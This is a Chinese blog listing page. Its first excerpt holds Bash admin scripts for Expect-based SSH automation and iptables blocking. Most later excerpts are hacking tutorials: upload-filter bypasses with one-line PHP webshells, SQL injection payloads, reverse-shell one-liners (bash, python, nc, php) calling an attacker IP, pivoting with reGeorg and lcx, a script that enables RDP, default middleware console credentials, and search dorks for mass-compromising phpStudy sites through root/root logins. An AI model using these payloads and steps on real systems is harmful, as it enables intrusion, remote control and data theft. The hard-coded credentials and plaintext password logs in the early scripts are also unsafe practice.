Expect实现SSH免交互执行命令 Expect是一个自动交互式应用程序的工具,如telnet,ftp,passwd等。 需先安装expect软件包。 方法1:EOF标准输出作为expect标准输入 #!/bin/bash USER=root PASS=123.com IP=192.168.1.120 expect << EOF set timeout 30 spawn ssh $USER@$IP    expect {     "(yes/no)" {send "yes\r"; exp_continue}     "password:" {send "$PASS\r"} } expect "$USER@*"  {send "$1\r"} expect "$USER@*"  {send "exit\r"} expect eof EOF 方法2: #!/bin/bash USER=root PASS=123.com IP=192.168.1.120 expect -c "     spawn ssh $USER@$IP     expect {         \"(yes/no)\" {send \"yes\r\"; exp_continue}         \"password:\" {send \"$PASS\r\"; exp_continue}         \"$USER@*\" {send \"df -h\r exit\r\"; exp_continue}     }" 方法3:将expect脚本独立出来 登录脚本: # cat login.exp #!/usr/bin/expect set ip [lindex $argv 0] set user [lindex $argv 1] set passwd [lindex $argv 2] set cmd [lindex $argv 3] if { $argc != 4 } { puts "Usage: expect login.exp ip user passwd" exit 1 } set timeout 30 spawn ssh $user@$ip expect {     "(yes/no)" {send "yes\r"; exp_continue}     "password:" {send "$passwd\r"} } expect "$user@*"  {send "$cmd\r"} expect "$user@*"  {send "exit\r"} expect eof 执行命令脚本:写个循环可以批量操作多台服务器 #!/bin/bash HOST_INFO=user_info.txt for ip in $(awk '{print $1}' $HOST_INFO) do     user=$(awk -v I="$ip" 'I==$1{print $2}' $HOST_INFO)     pass=$(awk -v I="$ip" 'I==$1{print $3}' $HOST_INFO)     expect login.exp $ip $user $pass $1 done Linux主机SSH连接信息: # cat user_info.txt 192.168.1.120 root 123456 创建10个用户,并分别设置密码,密码要求10位且包含大小写字母以及数字,最后需要把每个用户的密码存在指定文件中 #!/bin/bash ############################################################## #创建10个用户,并分别设置密码,密码要求10位且包含大小写字母以及数字 #最后需要把每个用户的密码存在指定文件中 #前提条件:安装mkpasswd命令 ############################################################## #生成10个用户的序列(00-09) for u in `seq -w 0 09` do  #创建用户  useradd user_$u  #生成密码  p=`mkpasswd -s 0 -l 10`  #从标准输入中读取密码进行修改(不安全)  echo $p|passwd --stdin user_$u  #常规修改密码  echo -e "$p\n$p"|passwd user_$u  #将创建的用户及对应的密码记录到日志文件中  echo "user_$u $p" >> /tmp/userpassword done 监控httpd的进程数,根据监控情况做相应处理 #!/bin/bash ############################################################################################################################### #需求: #1.每隔10s监控httpd的进程数,若进程数大于等于500,则自动重启Apache服务,并检测服务是否重启成功 #2.若未成功则需要再次启动,若重启5次依旧没有成功,则向管理员发送告警邮件,并退出检测 #3.如果启动成功,则等待1分钟后再次检测httpd进程数,若进程数正常,则恢复正常检测(10s一次),否则放弃重启并向管理员发送告警邮件,并退出检测 ############################################################################################################################### #计数器函数 check_service() {  j=0  for i in `seq 1 5`   do  #重启Apache的命令  /usr/local/apache2/bin/apachectl restart 2> /var/log/httpderr.log     #判断服务是否重启成功  if [ $? -eq 0 ]  then  break  else  j=$[$j+1]  fi     #判断服务是否已尝试重启5次  if [ $j -eq 5 ]  then  mail.py  exit  fi  done  } while : do  n=`pgrep -l httpd|wc -l`  #判断httpd服务进程数是否超过500  if [ $n -gt 500 ]  then  /usr/local/apache2/bin/apachectl restart  if [ $? -ne 0 ]  then  check_service  else  sleep 60  n2=`pgrep -l httpd|wc -l`  #判断重启后是否依旧超过500              if [ $n2 -gt 500 ]  then   mail.py  exit  fi  fi  fi  #每隔10s检测一次  sleep 10 done 批量修改服务器用户密码 Linux主机SSH连接信息:旧密码 # cat old_pass.txt  192.168.18.217  root    123456     22 192.168.18.218  root    123456     22 内容格式:IP User Password Port SSH远程修改密码脚本:新密码随机生成 https://www.linuxprobe.com/books #!/bin/bash OLD_INFO=old_pass.txt NEW_INFO=new_pass.txt for IP in $(awk '/^[^#]/{print $1}' $OLD_INFO); do     USER=$(awk -v I=$IP 'I==$1{print $2}' $OLD_INFO)     PASS=$(awk -v I=$IP 'I==$1{print $3}' $OLD_INFO)     PORT=$(awk -v I=$IP 'I==$1{print $4}' $OLD_INFO)     NEW_PASS=$(mkpasswd -l 8)  # 随机密码     echo "$IP   $USER   $NEW_PASS   $PORT" >> $NEW_INFO     expect -c "     spawn ssh -p$PORT $USER@$IP     set timeout 2     expect {         \"(yes/no)\" {send \"yes\r\";exp_continue}         \"password:\" {send \"$PASS\r\";exp_continue}         \"$USER@*\" {send \"echo \'$NEW_PASS\' |passwd --stdin $USER\r exit\r\";exp_continue}     }" done 生成新密码文件: # cat new_pass.txt  192.168.18.217  root    n8wX3mU%      22 192.168.18.218  root    c87;ZnnL      22 iptables自动屏蔽访问网站频繁的IP 场景:恶意访问,安全防范 1)屏蔽每分钟访问超过200的IP 方法1:根据访问日志(Nginx为例) #!/bin/bash DATE=$(date +%d/%b/%Y:%H:%M) ABNORMAL_IP=$(tail -n5000 access.log |grep $DATE |awk '{a[$1]++}END{for(i in a)if(a[i]>100)print i}') #先tail防止文件过大,读取慢,数字可调整每分钟最大的访问量。awk不能直接过滤日志,因为包含特殊字符。 for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -I INPUT -s $IP -j DROP     fi done 方法2:通过TCP建立的连接 #!/bin/bash ABNORMAL_IP=$(netstat -an |awk '$4~/:80$/ && $6~/ESTABLISHED/{gsub(/:[0-9]+/,"",$5);{a[$5]++}}END{for(i in a)if(a[i]>100)print i}') #gsub是将第五列(客户端IP)的冒号和端口去掉 for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -I INPUT -s $IP -j DROP     fi done 2)屏蔽每分钟SSH尝试登录超过10次的IP 方法1:通过lastb获取登录状态: #!/bin/bash DATE=$(date +"%a %b %e %H:%M") #星期月天时分  %e单数字时显示7,而%d显示07 ABNORMAL_IP=$(lastb |grep "$DATE" |awk '{a[$3]++}END{for(i in a)if(a[i]>10)print i}') for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -I INPUT -s $IP -j DROP     fi done 方法2:通过日志获取登录状态 #!/bin/bash DATE=$(date +"%b %d %H") ABNORMAL_IP="$(tail -n10000 /var/log/auth.log |grep "$DATE" |awk '/Failed/{a[$(NF-3)]++}END{for(i in a)if(a[i]>5)print i}')" for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -A INPUT -s $IP -j DROP         echo "$(date +"%F %T") - iptables -A INPUT -s $IP -j DROP" >>~/ssh-login-limit.log     fi done 根据web访问日志,封禁请求量异常的IP,如IP在半小时后恢复正常,则解除封禁 #!/bin/bash #################################################################################### #根据web访问日志,封禁请求量异常的IP,如IP在半小时后恢复正常,则解除封禁 #################################################################################### logfile=/data/log/access.log #显示一分钟前的小时和分钟 d1=`date -d "-1 minute" +%H%M` d2=`date +%M` ipt=/sbin/iptables ips=/tmp/ips.txt block() {  #将一分钟前的日志全部过滤出来并提取IP以及统计访问次数  grep '$d1:' $logfile|awk '{print $1}'|sort -n|uniq -c|sort -n > $ips  #利用for循环将次数超过100的IP依次遍历出来并予以封禁  for i in `awk '$1>100 {print $2}' $ips`  do  $ipt -I INPUT -p tcp --dport 80 -s $i -j REJECT  echo "`date +%F-%T` $i" >> /tmp/badip.log  done } unblock() {  #将封禁后所产生的pkts数量小于10的IP依次遍历予以解封  for a in `$ipt -nvL INPUT --line-numbers |grep '0.0.0.0/0'|awk '$2<10 {print $1}'|sort -nr`  do   $ipt -D INPUT $a  done  $ipt -Z } #当时间在00分以及30分时执行解封函数 if [ $d2 -eq "00" ] || [ $d2 -eq "30" ]  then  #要先解再封,因为刚刚封禁时产生的pkts数量很少  unblock  block  else  block fi 判断用户输入的是否为IP地址 方法1: #!/bin/bash function check_ip(){     IP=$1     VALID_CHECK=$(echo $IP|awk -F. '$1< =255&&$2<=255&&$3<=255&&$4<=255{print "yes"}')     if echo $IP|grep -E "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$">/dev/null; then         if [ $VALID_CHECK == "yes" ]; then             echo "$IP available."         else             echo "$IP not available!"         fi     else         echo "Format error!"     fi } check_ip 192.168.1.1 check_ip 256.1.1.1 方法2: #!/bin/bash function check_ip(){     IP=$1     if [[ $IP =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then         FIELD1=$(echo $IP|cut -d. -f1)         FIELD2=$(echo $IP|cut -d. -f2)         FIELD3=$(echo $IP|cut -d. -f3)         FIELD4=$(echo $IP|cut -d. -f4)         if [ $FIELD1 -le 255 -a $FIELD2 -le 255 -a $FIELD3 -le 255 -a $FIELD4 -le 255 ]; then             echo "$IP available."         else             echo "$IP not available!"         fi     else         echo "Format error!"     fi } check_ip 192.168.1.1 check_ip 256.1.1.1 增加版: 加个死循环,如果IP可用就退出,不可用提示继续输入,并使用awk判断。 #!/bin/bash function check_ip(){     local IP=$1     VALID_CHECK=$(echo $IP|awk -F. '$1< =255&&$2<=255&&$3<=255&&$4<=255{print "yes"}')     if echo $IP|grep -E "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$" >/dev/null; then         if [ $VALID_CHECK == "yes" ]; then             return 0         else             echo "$IP not available!"             return 1         fi     else         echo "Format error! Please input again."         return 1     fi } while true; do     read -p "Please enter IP: " IP     check_ip $IP     [ $? -eq 0 ] && break || continue done 一如既往的学习,一如既往的整理,一如即往的分享。感谢支持 ...

    2021-04-17 567
  • HW常见攻击方式 -- 文件上传及文件包含漏洞

    一、概念 文件上传漏洞,也就是常说的上传木马程序,一般先传小马,通过小马上传大马 文件包含漏洞,可以读取服务器本地文件 二、文件上传 1、本地上传限制不严格,头像上传,通过修改数据包上传文件后缀,可以绕过该限制。 选择一句话木马的php文件,提示只能上传JPEG和PNG文件 抓包,将Content-Type属性修改为:image/jpeg,点击发送 解释:MIME类型用来设定某种扩展名文件的打开方式,当具有该扩展名的文件被访问时,浏览器会自动使用指定的应用程序来打开。如GIF图片MIME为Image/gCSs文件MIME类型为text/ss。上传时,程序会对文件MME类型做验证。 提示上传成功 菜刀连接 2、服务器配置不当,HTTP没有禁用PUT和OPTIONS请求方法 3、文件解析漏洞:Apche、Nginx、IIS Apache解析漏洞 Apache对文件解析是从右到左的,由于 Apache无法解析rar和owf后缀,但能够解析php后缀,因此 Apache会将 x.php owf.rar当做php格式的文件进行解析并执行 http://www.aiyoubucuo.com/x.php.owf.rar Nginx<8.03空字节代码执行漏洞 影响范围: Nginx0.5.0.6,0.7<=0.7.65,0.8<=0.8.37访问以下网址,服务器将把x.jpg文件当做php解析并执行 http://www.aiyoubucuo.com/x.jpg%00.php IIS7.0/IIS7.5/ Nginx<0.8.3畸形解析漏洞 在默以 Fast-CGI开启状况下,访问以下网址,服务器将把x.jpg文件当做php解析并执行 http://www.aiyoubucuo.com/x.jpg/.php IIS 5.x/6.0解析漏洞 目录解析:在网站下建立文件夹的名称中带有.asp、.asa等可执行脚本文件后缀为后缀的文件夹,其目录内的任何扩展名的文件都被IIS当作可执行文件来解析并执行 http://www.aiyoubucuo.com/x.asp/x.jpg 文件解析在IIS6.0下,分号后面的不被解析x. asp;.jpg将被当做x.asp解析并执行。 http://www.aiyoubucuo.com/x.asp;.jpg IIS6.0默认的可执行文件有asp、asa、cer、cdx四种。 4、文件路径截断:%00截断 00截断的原理,就是利用0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。 限制条件: 0X00截断是16进制的截断,需要修改16进制的数据头,使用burp在Hex中对数据进行改写 PHP<53.29, magic_quotes_gpc=OFF %00的使用是在路径上,不是在文件名中"a. php%00b jpg" 由于%00做了截断,所以最后服务器接收到的文件名依然还是 a. php,因为在接收的时候,就直接对url编码进行解码,然后再去接收文件,这时候的文件名就变成了a.php,后面的 b. jpg已经被截断 三、文件包含漏洞 1、概念 一些网站由于业务需求,提供文件下载功能,但如果对用户查看或下载的文件不受限制,则恶意用户就能够查看或下载任意敏感文件,如脚本代码,服务及系统配置文件等,如果得到代码可以进行代码审计,得到更多可利用漏洞直接执行代码的函数: 2、常用函数 eval()、 assert()、 system()、exec()、 shell exec()、 passthru()、 escapeshellcmd()、 pcnl_exec()等 eval():该函数把字符串按照PHP代码来计算,如常见的句话后门程序:<? php eval($_ POST[a])?> assert():该函数与eval类似,字符串被 assert()当做PHP代码来执行; 3、PHP中常见的导致文件包含的函数:  require:找不到被包含的文件时会产生致命错误( E COMPILE ERROR),并停止脚本 include:找不到被包含的文件时只会产生-个( E waring),脚本将继续执行 require_once:与 require类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含 include once:与 include类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含 4、重要文件路径 1、Unix/liux系统: /etc/passwd /usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置/usr/local/app/php5/lib/php.ini //PHP相关设置/etc/httpd/conf/httpd.conf //apache配置文件/etc/my.cnf //Mysql配置文件 2、Windows系统 C:\\boot.ini //查看系统版本C:\windows\\system32\\inetsrv\\MetaBase.xml //IIS配置文件C:\\Program files\\mysql\\my.ini //mysql配置C:\\Program Filed\\mysql\data\\mysql\\user.MYD //Mysql rootC:\\windows\\php.ini //php配置信息C:\\windows\\my.ini // Mysql配置文件 禁止非法,后果自负 ...

    2021-03-21 692
  • WebShell -- Linux反弹

    小攻:IP地址:192.168.139.129  Win7 小受:IP地址:192.168.139.128,Ubuntu 一、拿到webshell后,点击反弹提权 二、小攻运行nv -vv -l -p 3355 三、在反弹提权页面,输入小攻的地址及上面监听的端口号,点击开始连接 四、小攻已成功连接小受,输入命令函数whoami查看权限是www 五、查看该系统版本号uname -a,根据该版本号查找相应的EXP,上传到小受并执行 六、工具下载:加入交流群 禁止非法,后果自负 ...

    2021-03-20 578
  • HW常见攻击方式 -- SQL注入漏洞

    一、产生原因代码与数据不区分。程序把用户输入的恶意内容传入SQL语句中执行,导致SQL注入漏洞产生。 二、常见挖掘方式 直接对url中的参数(请求参数、请求头)进行注入 Burp抓取post包进行注入 三、判断注入点 单引号判断:如果出现错误回显,则该页面就可能存在sql注入 http://www.webanquangongjuku.com/aiyou.php?id=1' and判断: http://www.webanquangongjuku.com/aiyou.php?id=1' and 1=1 返回正常http://www.webanquangongjuku.com/aiyou.php?id=1' and1=2 如果报错,说明存在注入 or判断: http://www.webanquangongjuku.com/aiyou.php?id=1' or 1=1 http://www.webanquangongjuku.com/aiyou.php?id=1' or 1=2 返回正常,说明存在注入 XOR判断:后面的语句如果是正确的,则返回错误页面,如果是错误的,则返回正确页面,说明存在注入点 http://www.webanquangongjuku.com/aiyou.php?id=1' xor 1=1 http://www.webanquangongjuku.com/aiyou.php?id=1' xor 1=2 加减号数字判断:返回的页面和前面的页面相同,加上-1,返回错误页面,则表示存在注入漏洞 http://www.webanquangongjuku.com/aiyou.php?id=10-1 四、GET请求注入流程: 1、判断是否存在注入 1' 1' and 1=1 2、判断可显示列 1' order by 2#1' order by 3# 1' union select 1,2# 3、查询版本号和数据库 1' union select version(),database()# 4、获取当前数据库的所有表名 1' union select 1,table_name from information_schema.tables where table_schema=database()# 5、获取users表的列名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 6、获取users表的user和password列 1' union select user,password from users# 五、POST请求注入流程 1、通过BurpSuite抓包 2、可以手动判断,但是能用sqlmap就不用手动,所以将该包保存到1.txt文件 sqlmap -r 1.txt 3、查看是不是管理员权限 sqlmap -r 1.txt --is-dba 禁止非法,后果自负 ...

    2021-03-19 633
  • WebShell -- 外网加入对方内网网络

    小攻:IP地址:192.168.1.103   win7 小受:IP地址:双网卡192.168.1.105/192.168.4.11  win2003 当拿到一台内网主机的时候,如何将攻击机加入到对方内网网络,可以通过reGeorg实现 一、下载地址(软件作者) https://github.com/sensepost/reGeorg 二、通过webshell将对应的文件上传到服务器,有php、jsp等等 三、运行reGeorg python reGeorgSocksProxy.py -p 1234 -uhttp://192.168.1.105/tunnel.aspx 四、打开代理工具Proxifier 1、添加代理 五、通过御剑扫描,如果不在一个内网就不能扫描,通过上面操作,就可以扫描另一个网卡了 六、工具下载:加入交流群 注意:软件均来自网络,不能保证安全性 ...

    2021-03-18 671
  • WebShell -- 外网远程连接内网

    一、环境: 1、内网主机IP:192.168.1.106  win2003 2、假设外网主机ip:192.168.1.104 win7 二、通过大马上传lcx.exe到服务器内网 1、将内网3389端口转发到外网2222端口 lcx.exe -slave 192.168.1.104 2222 127.0.0.1 3389 2、在攻击机win7监听2222本地端口,转发到4444端口 lcx.exe -listen 2222 4444 3、在攻击机win7中远程连接 三、利用工具转发reDuh 1、将软件自带的脚本拷贝到服务器中,根据不同环境,选择不同脚本 2、打开reDuh,将脚本文件上传的路径填写到URL,点击start,再点击create 3、打开远程连接,这个有点缓慢,但是可以连接成功的,详细见交流群视频教程 工具下载方式:加入交流群 ...

    2021-03-15 608
  • WebShell -- 开启3389服务

    一、查询远程连接的端口 1、命令查询,win7/win10/win2003都可以使用 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber 0xd3d转换十进制是3389 2、注册表查询 二、开启3389端口的方法 1、工具开启 2、批处理开启,将下面代码复制到bat文件,双击自行开启远程连接 echo Windows Registry Editor Version 5.00>>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.regecho "fDenyTSConnections"=dword:00000000>>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.regecho "PortNumber"=dword:00000d3d>>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.regecho "PortNumber"=dword:00000d3d>>3389.regregedit /s 3389.regdel 3389.reg 三、当3389端口被修改后,如何查找 1、通过大马的读注册表、找到3389端口,然后读取 2、通过大马的cmd命令 tasklist /svc,获取termservice的pid号 再执行netstat -ano查找2684对应的的端口就是远程连接端口 3、通过工具扫描 工具下载方式:加入交流群 注意:软件均来自网络,不能保证安全性 ...

    2021-03-14 736
  • 常见web中间件拿shell

    1.weblogic 后台页面:(http为7001,https为7002) Google关键字:WebLogic Server AdministrationConsole inurl:console 默认的用户名密码 1、用户名密码均为:weblogic 2、用户名密码均为:system 3、用户名密码均为:portaladmin 4、用户名密码均为:guest 上传地方: workshop> Deployments> Web应用程序> 部署新的 Web 应用程序模块… 上传war的webshell。   上传后目标模块->部署。 2.Tomcat 后台:http://172.16.102.35:8080/manager/html 默认用户名密码 tomcat tomcat 上传地方:   Deploy之后即发布成功 shell地址:http://172.16.102.35:8080/magerx/test.jsp(其中magerx为war包的名字) 3.jboss 后台:http://172.16.102.35:9990 上传地方:Deployments>Manage Deployments>Add Content Enable后即可发布 shell地址: http://172.16.102.35:8080/magerx/test.jsp 4.JOnAS 后台:http://172.16.102.35:9000/jonasAdmin/ 默认用户名密码: jadmin jonas tomcat tomcat jonas jonas 上传地方:Deployment>Web Modules (WAR)>Upload Apply之后即可发布 shell地址:http://172.16.102.35:9000/magerx/test.jsp 5.WebSphere 后台地址:https://172.16.102.35:9043/ibm/console/logon.jsp 上传地方:应用程序>新建应用程序>新建企业应用程序 接下来各种下一步,步骤4注意填好“上下文根” 完成后单击保存 回到应用程序>应用程序类型>WebSphere 企业应用程序  选中你上传的war包 这里是paxmac  点击启动 即可发布 shell地址:http://172.16.102.35:9080/paxmac/test.jsp <!– jsp文件打包,可以使用jdk/JRE自带的jar命令: 切换到要打包的文件目录 jar -cvf magerx.war  test.jsp –> ...

    2020-09-24 1011
  • 渗透测试中弹shell的多种方式

    在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。 我们先来讲一下什么是正向连接和反向连接。 正向连接:我们本机去连接目标机器,比如ssh和mstsc 反向连接:目标机器去连接我们本机 那么为什么反向连接会比较常用呢 目标机器处在局域网内,我们正向连不上他 目标机器是动态ip 目标机器存在防火墙 然后说一下我的实验环境 攻击机:Kali Linux :47.98.229.211 受害机:Centos 7 :149.129.68.117(阿里云服务器) 姿势一 bash bash也是最常见的一种方式 Kali监听 nc -lvvp 4444 Shell  复制 centos运行 bash -i >& /dev/tcp/47.98.229.211/5555 0>&1 Shell  复制 执行命令后,成功得到反弹! 姿势二 python 攻击机Kali还是监听 nc -lvvp 5555 Shell  复制 centos执行 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.98.229.211",27409));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' Python  复制 姿势三 nc 如果目标机器上有nc并且存在-e参数,那么可以建立一个反向shell 攻击机监听 nc -lvvp 5555 Shell  复制 目标机器执行 nc 47.98.229.211 5555 -t -e /bin/bash Shell  复制 这样会把目标机的/bin/bash反弹给攻击机 但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式 姿势四 php 攻击机监听 nc -lvvp 4444 Shell  复制 要求目标机器有php然后执行 php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");' Shell  复制 其他的一些高能操作 关于PHP的payload 现在msfconsole中进行简单的配置 msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.107 LHOST => 192.168.1.107 Shell  复制 PHP <? php error_reporting(0); $ip = 'x.x.x.x'; $port = 53; if (($f = 'stream_socket_client') && is_callable($f)) { {$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_ strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('s > PHP  复制 ...

    2019-08-07 1144
  • 利用PHPstudy探针弱口令漏洞批量拿shell

    关键字:phpStudy 探针 2014 搜到后随便找一个站 然后打开是这种的 弱口令:root 成功,如下图 然后进入phpmyadmin 后台账号是root密码也是root 接下来就是怎么拿shell了 探针上面有个绝对路径和探针路径,我们这里需要的是绝对路径。如图 进入后台我们需要打开变量 然后在变量里面找到general log 和 general log file 你可以用 CTRL+F 需要把general log 改成ON 把 general log file修改成绝对路径的地址。C:/phpStudy/WWW/.xxx.php >>>这个xxx.php是你一句话的地址 如图。 修改好后。我们需要把这个命令插入到我们指定的php文件里 如图。 ...

    2019-06-30 3719
  • 一次实战拿shell上传绕过

    一、物理路径 在url后面随便输入个字符,得到网站物理路径 二、whois信息 没有查到其他whois信息 三、Whatweb 四、端口 21端口是文件传输协议,如果被非正常手段登录,将会面临服务器/空间文件泄露问题 3306端口是mysql数据库的默认端口,如果被非正常手段登录,将会面临数据库泄露问题 445是曾经暴出”永恒之蓝”病毒的端口 五、后台 后台系统及型号 六、编辑器 抓包获取编辑器地址,并且发现是dede下的编辑器,估计模板也是dede二次加工的了。 七、拿shell(仅列举一种方法-上传绕过) 直接上传一句话木马(php后缀),提示文件类型不正确 将一句话木马后缀修改为jpg格式,继续上传 。 上传成功。打开burpsuite,重新上传jpg后缀的一句话木马 。 将yjh.jpg修改为yjh.php[空格]。一定要在修改完的php后缀后面加上一个空格。如下图 然后点击action里面的send to repeater 。 打开repeater下的Hex,查找到yjh.php文件,修改对应行Hex值,由20改为00 。 即可发现原来的空格已经没有了 。 然后点击Go,放包。 链接访问成功,然后拿出中国菜刀,连接shell。 ...

    2019-06-27 1110

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注